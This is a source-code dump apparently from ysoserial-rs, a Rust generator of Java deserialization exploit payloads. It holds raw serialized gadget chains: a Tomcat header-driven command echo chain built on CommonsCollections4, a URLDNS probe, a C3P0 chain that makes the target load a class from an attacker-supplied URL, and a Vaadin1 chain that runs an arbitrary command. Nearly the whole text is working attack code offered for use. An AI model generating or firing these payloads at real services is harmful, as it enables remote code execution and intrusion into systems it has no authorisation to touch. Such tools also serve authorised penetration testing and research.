101, 99, 116, 59, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 273 | 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 120, 112, 115, 114, 0, 58, 99, 111, 109, 274 | 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 275 | 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 276 | 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 277 | 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 278 | 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 279 | 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 280 | 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 281 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 282 | 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 17, 95, 111, 117, 116, 283 | 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 284 | 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 285 | 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 286 | 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 287 | 8, 84, 224, 2, 0, 0, 120, 112, 288 | ] 289 | .to_vec(); 290 | let tomcat_echo = get_tomcat_echo(echo_header_name, cmd_header_name); 291 | let tomcat_echo_len = tomcat_echo.len() as u32; 292 | result_bytes.extend(tomcat_echo_len.to_be_bytes()); 293 | result_bytes.extend(&tomcat_echo); 294 | result_bytes.extend([ 295 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 115, 114, 0, 43, 111, 114, 103, 46, 296 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 297 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 109, 97, 112, 46, 76, 97, 122, 121, 77, 97, 112, 298 | 110, 229, 148, 130, 158, 121, 16, 148, 3, 0, 1, 76, 0, 7, 102, 97, 99, 116, 111, 114, 121, 299 | 116, 0, 45, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 109, 109, 111, 300 | 110, 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 52, 47, 84, 114, 97, 301 | 110, 115, 102, 111, 114, 109, 101, 114, 59, 120, 112, 115, 114, 0, 59, 111, 114, 103, 46, 302 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 303 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 73, 304 | 110, 118, 111, 107, 101, 114, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 135, 305 | 232, 255, 107, 123, 124, 206, 56, 2, 0, 3, 91, 0, 5, 105, 65, 114, 103, 115, 116, 0, 19, 306 | 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 307 | 11, 105, 77, 101, 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 9, 91, 0, 11, 105, 308 | 80, 97, 114, 97, 109, 84, 121, 112, 101, 115, 113, 0, 126, 0, 8, 120, 112, 117, 114, 0, 19, 309 | 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 310 | 206, 88, 159, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 0, 116, 0, 14, 110, 101, 119, 311 | 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 117, 114, 0, 18, 91, 76, 106, 97, 118, 312 | 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 203, 205, 90, 313 | 153, 2, 0, 0, 120, 112, 0, 0, 0, 0, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 12, 119, 314 | 8, 0, 0, 0, 16, 0, 0, 0, 0, 120, 120, 116, 0, 1, 116, 120, 315 | ]); 316 | result_bytes 317 | } 318 | -------------------------------------------------------------------------------- /ysoserial-rs/src/url_dns.rs: -------------------------------------------------------------------------------- 1 | use crate::base::generate_string; 2 | use url::Url; 3 | 4 | pub fn get_url_dns(urls: &str) -> Vec { 5 | let mut result_bytes = [ 6 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 7 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 8 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 9 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 12, 106, 97, 118, 10 | 97, 46, 110, 101, 116, 46, 85, 82, 76, 150, 37, 55, 54, 26, 252, 228, 114, 3, 0, 7, 73, 0, 11 | 8, 104, 97, 115, 104, 67, 111, 100, 101, 73, 0, 4, 112, 111, 114, 116, 76, 0, 9, 97, 117, 12 | 116, 104, 111, 114, 105, 116, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 13 | 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 4, 102, 105, 108, 101, 113, 0, 126, 0, 3, 76, 14 | 0, 4, 104, 111, 115, 116, 113, 0, 126, 0, 3, 76, 0, 8, 112, 114, 111, 116, 111, 99, 111, 15 | 108, 113, 0, 126, 0, 3, 76, 0, 3, 114, 101, 102, 113, 0, 126, 0, 3, 120, 112, 255, 255, 16 | 255, 255, 255, 255, 255, 255, 17 | ] 18 | .to_vec(); 19 | if let Ok(u) = Url::parse(urls) { 20 | result_bytes.extend(&generate_string(u.host_str().unwrap_or_default())); 21 | result_bytes.extend([116, 0, 0, 113, 0, 126, 0, 5]); 22 | result_bytes.extend(&generate_string(u.scheme())); 23 | result_bytes.extend([112, 120]); 24 | result_bytes.extend(&generate_string(urls)); 25 | } else { 26 | println!("Must be a valid URL!"); 27 | std::process::exit(0); 28 | } 29 | result_bytes.extend([120]); 30 | result_bytes 31 | } 32 | pub fn get_c3p0(urls: &str) -> Vec { 33 | let mut result_bytes = [ 34 | 172, 237, 0, 5, 115, 114, 0, 40, 99, 111, 109, 46, 109, 99, 104, 97, 110, 103, 101, 46, 35 | 118, 50, 46, 99, 51, 112, 48, 46, 80, 111, 111, 108, 66, 97, 99, 107, 101, 100, 68, 97, 36 | 116, 97, 83, 111, 117, 114, 99, 101, 222, 34, 205, 108, 199, 255, 127, 168, 2, 0, 0, 120, 37 | 114, 0, 53, 99, 111, 109, 46, 109, 99, 104, 97, 110, 103, 101, 46, 118, 50, 46, 99, 51, 38 | 112, 48, 46, 105, 109, 112, 108, 46, 65, 98, 115, 116, 114, 97, 99, 116, 80, 111, 111, 108, 39 | 66, 97, 99, 107, 101, 100, 68, 97, 116, 97, 83, 111, 117, 114, 99, 101, 0, 0, 0, 0, 0, 0, 40 | 0, 1, 3, 0, 0, 120, 114, 0, 49, 99, 111, 109, 46, 109, 99, 104, 97, 110, 103, 101, 46, 118, 41 | 50, 46, 99, 51, 112, 48, 46, 105, 109, 112, 108, 46, 80, 111, 111, 108, 66, 97, 99, 107, 42 | 101, 100, 68, 97, 116, 97, 83, 111, 117, 114, 99, 101, 66, 97, 115, 101, 0, 0, 0, 0, 0, 0, 43 | 0, 1, 3, 0, 8, 73, 0, 16, 110, 117, 109, 72, 101, 108, 112, 101, 114, 84, 104, 114, 101, 44 | 97, 100, 115, 76, 0, 24, 99, 111, 110, 110, 101, 99, 116, 105, 111, 110, 80, 111, 111, 108, 45 | 68, 97, 116, 97, 83, 111, 117, 114, 99, 101, 116, 0, 36, 76, 106, 97, 118, 97, 120, 47, 46 | 115, 113, 108, 47, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 80, 111, 111, 108, 68, 47 | 97, 116, 97, 83, 111, 117, 114, 99, 101, 59, 76, 0, 14, 100, 97, 116, 97, 83, 111, 117, 48 | 114, 99, 101, 78, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 49 | 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 10, 101, 120, 116, 101, 110, 115, 105, 111, 50 | 110, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 51 | 76, 0, 20, 102, 97, 99, 116, 111, 114, 121, 67, 108, 97, 115, 115, 76, 111, 99, 97, 116, 52 | 105, 111, 110, 113, 0, 126, 0, 4, 76, 0, 13, 105, 100, 101, 110, 116, 105, 116, 121, 84, 53 | 111, 107, 101, 110, 113, 0, 126, 0, 4, 76, 0, 3, 112, 99, 115, 116, 0, 34, 76, 106, 97, 54 | 118, 97, 47, 98, 101, 97, 110, 115, 47, 80, 114, 111, 112, 101, 114, 116, 121, 67, 104, 97, 55 | 110, 103, 101, 83, 117, 112, 112, 111, 114, 116, 59, 76, 0, 3, 118, 99, 115, 116, 0, 34, 56 | 76, 106, 97, 118, 97, 47, 98, 101, 97, 110, 115, 47, 86, 101, 116, 111, 97, 98, 108, 101, 57 | 67, 104, 97, 110, 103, 101, 83, 117, 112, 112, 111, 114, 116, 59, 120, 112, 119, 2, 0, 1, 58 | 115, 114, 0, 61, 99, 111, 109, 46, 109, 99, 104, 97, 110, 103, 101, 46, 118, 50, 46, 110, 59 | 97, 109, 105, 110, 103, 46, 82, 101, 102, 101, 114, 101, 110, 99, 101, 73, 110, 100, 105, 60 | 114, 101, 99, 116, 111, 114, 36, 82, 101, 102, 101, 114, 101, 110, 99, 101, 83, 101, 114, 61 | 105, 97, 108, 105, 122, 101, 100, 98, 25, 133, 208, 209, 42, 194, 19, 2, 0, 4, 76, 0, 11, 62 | 99, 111, 110, 116, 101, 120, 116, 78, 97, 109, 101, 116, 0, 19, 76, 106, 97, 118, 97, 120, 63 | 47, 110, 97, 109, 105, 110, 103, 47, 78, 97, 109, 101, 59, 76, 0, 3, 101, 110, 118, 116, 0, 64 | 21, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 116, 97, 98, 108, 65 | 101, 59, 76, 0, 4, 110, 97, 109, 101, 113, 0, 126, 0, 10, 76, 0, 9, 114, 101, 102, 101, 66 | 114, 101, 110, 99, 101, 116, 0, 24, 76, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 67 | 103, 47, 82, 101, 102, 101, 114, 101, 110, 99, 101, 59, 120, 112, 112, 112, 112, 115, 114, 68 | 0, 22, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 82, 101, 102, 101, 114, 69 | 101, 110, 99, 101, 232, 198, 158, 162, 168, 233, 141, 9, 2, 0, 4, 76, 0, 5, 97, 100, 100, 70 | 114, 115, 116, 0, 18, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 86, 101, 99, 116, 71 | 111, 114, 59, 76, 0, 12, 99, 108, 97, 115, 115, 70, 97, 99, 116, 111, 114, 121, 113, 0, 72 | 126, 0, 4, 76, 0, 20, 99, 108, 97, 115, 115, 70, 97, 99, 116, 111, 114, 121, 76, 111, 99, 73 | 97, 116, 105, 111, 110, 113, 0, 126, 0, 4, 76, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 74 | 101, 113, 0, 126, 0, 4, 120, 112, 115, 114, 0, 16, 106, 97, 118, 97, 46, 117, 116, 105, 75 | 108, 46, 86, 101, 99, 116, 111, 114, 217, 151, 125, 91, 128, 59, 175, 1, 3, 0, 3, 73, 0, 76 | 17, 99, 97, 112, 97, 99, 105, 116, 121, 73, 110, 99, 114, 101, 109, 101, 110, 116, 73, 0, 77 | 12, 101, 108, 101, 109, 101, 110, 116, 67, 111, 117, 110, 116, 91, 0, 11, 101, 108, 101, 78 | 109, 101, 110, 116, 68, 97, 116, 97, 116, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 79 | 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 112, 0, 0, 0, 0, 0, 0, 0, 0, 117, 114, 0, 80 | 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 81 | 144, 206, 88, 159, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 10, 112, 112, 112, 112, 82 | 112, 112, 112, 112, 112, 112, 120, 83 | ] 84 | .to_vec(); 85 | if let Ok(u) = Url::parse(urls) { 86 | result_bytes.extend(&generate_string(&format!( 87 | "//{}", 88 | u.host_str().unwrap_or_default() 89 | ))); 90 | result_bytes.extend(&generate_string(u.scheme())); 91 | } else { 92 | println!("Must be a valid URL!"); 93 | std::process::exit(0); 94 | } 95 | result_bytes.extend([ 96 | 116, 0, 7, 101, 120, 112, 108, 111, 105, 116, 112, 112, 112, 112, 119, 4, 0, 0, 0, 0, 120, 97 | 119, 2, 0, 1, 120, 98 | ]); 99 | result_bytes 100 | } 101 | -------------------------------------------------------------------------------- /ysoserial-rs/src/util.rs: -------------------------------------------------------------------------------- 1 | use rand::distributions::Uniform; 2 | use rand::{thread_rng, Rng}; 3 | 4 | pub(crate) fn get_rand_bytes(len: usize) -> Vec { 5 | let rand_string: Vec = thread_rng() 6 | .sample_iter(&Uniform::new(0, 9)) 7 | .take(len) 8 | .map(|x| x.to_string()) 9 | .collect(); 10 | return rand_string.join("").as_bytes().to_vec(); 11 | } 12 | -------------------------------------------------------------------------------- /ysoserial-rs/src/vaadin.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_vaadin1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 46, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 6 | 109, 101, 110, 116, 46, 66, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 86, 97, 7 | 108, 117, 101, 69, 120, 112, 69, 120, 99, 101, 112, 116, 105, 111, 110, 212, 231, 218, 171, 8 | 99, 45, 70, 64, 2, 0, 1, 76, 0, 3, 118, 97, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 9 | 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 114, 0, 19, 106, 97, 118, 97, 46, 10 | 108, 97, 110, 103, 46, 69, 120, 99, 101, 112, 116, 105, 111, 110, 208, 253, 31, 62, 26, 59, 11 | 28, 196, 2, 0, 0, 120, 114, 0, 19, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 84, 104, 12 | 114, 111, 119, 97, 98, 108, 101, 213, 198, 53, 39, 57, 119, 184, 203, 3, 0, 4, 76, 0, 5, 13 | 99, 97, 117, 115, 101, 116, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 14 | 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 0, 13, 100, 101, 116, 97, 105, 108, 77, 101, 15 | 115, 115, 97, 103, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 16 | 116, 114, 105, 110, 103, 59, 91, 0, 10, 115, 116, 97, 99, 107, 84, 114, 97, 99, 101, 116, 17 | 0, 30, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 97, 99, 107, 84, 114, 18 | 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 59, 76, 0, 20, 115, 117, 112, 112, 114, 101, 19 | 115, 115, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 116, 0, 16, 76, 106, 20 | 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 120, 112, 113, 0, 126, 0, 21 | 8, 112, 117, 114, 0, 30, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 22 | 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 59, 2, 70, 42, 60, 60, 23 | 253, 34, 57, 2, 0, 0, 120, 112, 0, 0, 0, 2, 115, 114, 0, 27, 106, 97, 118, 97, 46, 108, 97, 24 | 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 25 | 97, 9, 197, 154, 38, 54, 221, 133, 2, 0, 8, 66, 0, 6, 102, 111, 114, 109, 97, 116, 73, 0, 26 | 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 76, 0, 15, 99, 108, 97, 115, 115, 76, 27 | 111, 97, 100, 101, 114, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 14, 100, 101, 99, 108, 28 | 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 113, 0, 126, 0, 5, 76, 0, 8, 102, 105, 108, 29 | 101, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 30 | 109, 101, 113, 0, 126, 0, 5, 76, 0, 10, 109, 111, 100, 117, 108, 101, 78, 97, 109, 101, 31 | 113, 0, 126, 0, 5, 76, 0, 13, 109, 111, 100, 117, 108, 101, 86, 101, 114, 115, 105, 111, 32 | 110, 113, 0, 126, 0, 5, 120, 112, 1, 0, 0, 0, 68, 116, 0, 3, 97, 112, 112, 116, 0, 24, 100, 33 | 111, 103, 101, 115, 101, 114, 46, 112, 97, 121, 108, 111, 97, 100, 115, 46, 86, 97, 97, 34 | 100, 105, 110, 49, 116, 0, 12, 86, 97, 97, 100, 105, 110, 49, 46, 106, 97, 118, 97, 116, 0, 35 | 9, 103, 101, 116, 79, 98, 106, 101, 99, 116, 112, 112, 115, 113, 0, 126, 0, 11, 1, 0, 0, 0, 36 | 36, 113, 0, 126, 0, 13, 116, 0, 23, 100, 111, 103, 101, 115, 101, 114, 46, 71, 101, 110, 37 | 101, 114, 97, 116, 101, 80, 97, 121, 108, 111, 97, 100, 116, 0, 20, 71, 101, 110, 101, 114, 38 | 97, 116, 101, 80, 97, 121, 108, 111, 97, 100, 46, 106, 97, 118, 97, 116, 0, 4, 109, 97, 39 | 105, 110, 112, 112, 115, 114, 0, 31, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 40 | 108, 108, 101, 99, 116, 105, 111, 110, 115, 36, 69, 109, 112, 116, 121, 76, 105, 115, 116, 41 | 122, 184, 23, 180, 60, 167, 158, 222, 2, 0, 0, 120, 112, 120, 115, 114, 0, 36, 99, 111, 42 | 109, 46, 118, 97, 97, 100, 105, 110, 46, 100, 97, 116, 97, 46, 117, 116, 105, 108, 46, 80, 43 | 114, 111, 112, 101, 114, 116, 121, 115, 101, 116, 73, 116, 101, 109, 154, 202, 247, 171, 44 | 62, 12, 118, 151, 2, 0, 3, 76, 0, 4, 108, 105, 115, 116, 116, 0, 22, 76, 106, 97, 118, 97, 45 | 47, 117, 116, 105, 108, 47, 76, 105, 110, 107, 101, 100, 76, 105, 115, 116, 59, 76, 0, 3, 46 | 109, 97, 112, 116, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 47 | 104, 77, 97, 112, 59, 76, 0, 26, 112, 114, 111, 112, 101, 114, 116, 121, 83, 101, 116, 67, 48 | 104, 97, 110, 103, 101, 76, 105, 115, 116, 101, 110, 101, 114, 115, 113, 0, 126, 0, 24, 49 | 120, 112, 115, 114, 0, 20, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 76, 105, 110, 107, 50 | 101, 100, 76, 105, 115, 116, 12, 41, 83, 93, 74, 96, 136, 34, 3, 0, 0, 120, 112, 119, 4, 0, 51 | 0, 0, 1, 116, 0, 16, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 52 | 101, 115, 120, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 53 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 54 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 55 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 113, 0, 126, 0, 29, 115, 114, 56 | 0, 41, 99, 111, 109, 46, 118, 97, 97, 100, 105, 110, 46, 100, 97, 116, 97, 46, 117, 116, 57 | 105, 108, 46, 78, 101, 115, 116, 101, 100, 77, 101, 116, 104, 111, 100, 80, 114, 111, 112, 58 | 101, 114, 116, 121, 86, 162, 75, 203, 140, 153, 57, 155, 3, 0, 3, 76, 0, 8, 105, 110, 115, 59 | 116, 97, 110, 99, 101, 113, 0, 126, 0, 1, 76, 0, 12, 112, 114, 111, 112, 101, 114, 116, 60 | 121, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 4, 116, 121, 112, 101, 116, 0, 17, 76, 61 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 120, 114, 0, 37, 62 | 99, 111, 109, 46, 118, 97, 97, 100, 105, 110, 46, 100, 97, 116, 97, 46, 117, 116, 105, 108, 63 | 46, 65, 98, 115, 116, 114, 97, 99, 116, 80, 114, 111, 112, 101, 114, 116, 121, 188, 102, 64 | 160, 106, 92, 207, 16, 158, 2, 0, 3, 90, 0, 8, 114, 101, 97, 100, 79, 110, 108, 121, 76, 0, 65 | 29, 114, 101, 97, 100, 79, 110, 108, 121, 83, 116, 97, 116, 117, 115, 67, 104, 97, 110, 66 | 103, 101, 76, 105, 115, 116, 101, 110, 101, 114, 115, 113, 0, 126, 0, 24, 76, 0, 20, 118, 67 | 97, 108, 117, 101, 67, 104, 97, 110, 103, 101, 76, 105, 115, 116, 101, 110, 101, 114, 115, 68 | 113, 0, 126, 0, 24, 120, 112, 0, 112, 112, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 69 | 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 70 | 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 71 | 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 72 | 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73 | 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 74 | 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 75 | 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 76 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 17, 95, 77 | 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 78 | 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 79 | 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 80 | 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 81 | 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 82 | ] 83 | .to_vec(); 84 | let template_impl = get_f_template_impl(cmd); 85 | let byte_len = template_impl.len() as u32; 86 | result_bytes.extend(byte_len.to_be_bytes()); 87 | result_bytes.extend(&template_impl); 88 | result_bytes.extend([ 89 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 113, 0, 126, 0, 29, 118, 114, 0, 90 | 20, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 80, 114, 111, 112, 101, 114, 116, 105, 91 | 101, 115, 57, 18, 208, 122, 112, 54, 62, 152, 2, 0, 1, 76, 0, 8, 100, 101, 102, 97, 117, 92 | 108, 116, 115, 113, 0, 126, 0, 39, 120, 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 93 | 108, 46, 72, 97, 115, 104, 116, 97, 98, 108, 101, 19, 187, 15, 37, 33, 74, 228, 184, 3, 0, 94 | 2, 70, 0, 10, 108, 111, 97, 100, 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 95 | 115, 104, 111, 108, 100, 120, 112, 120, 120, 112, 96 | ]); 97 | result_bytes 98 | } 99 | --------------------------------------------------------------------------------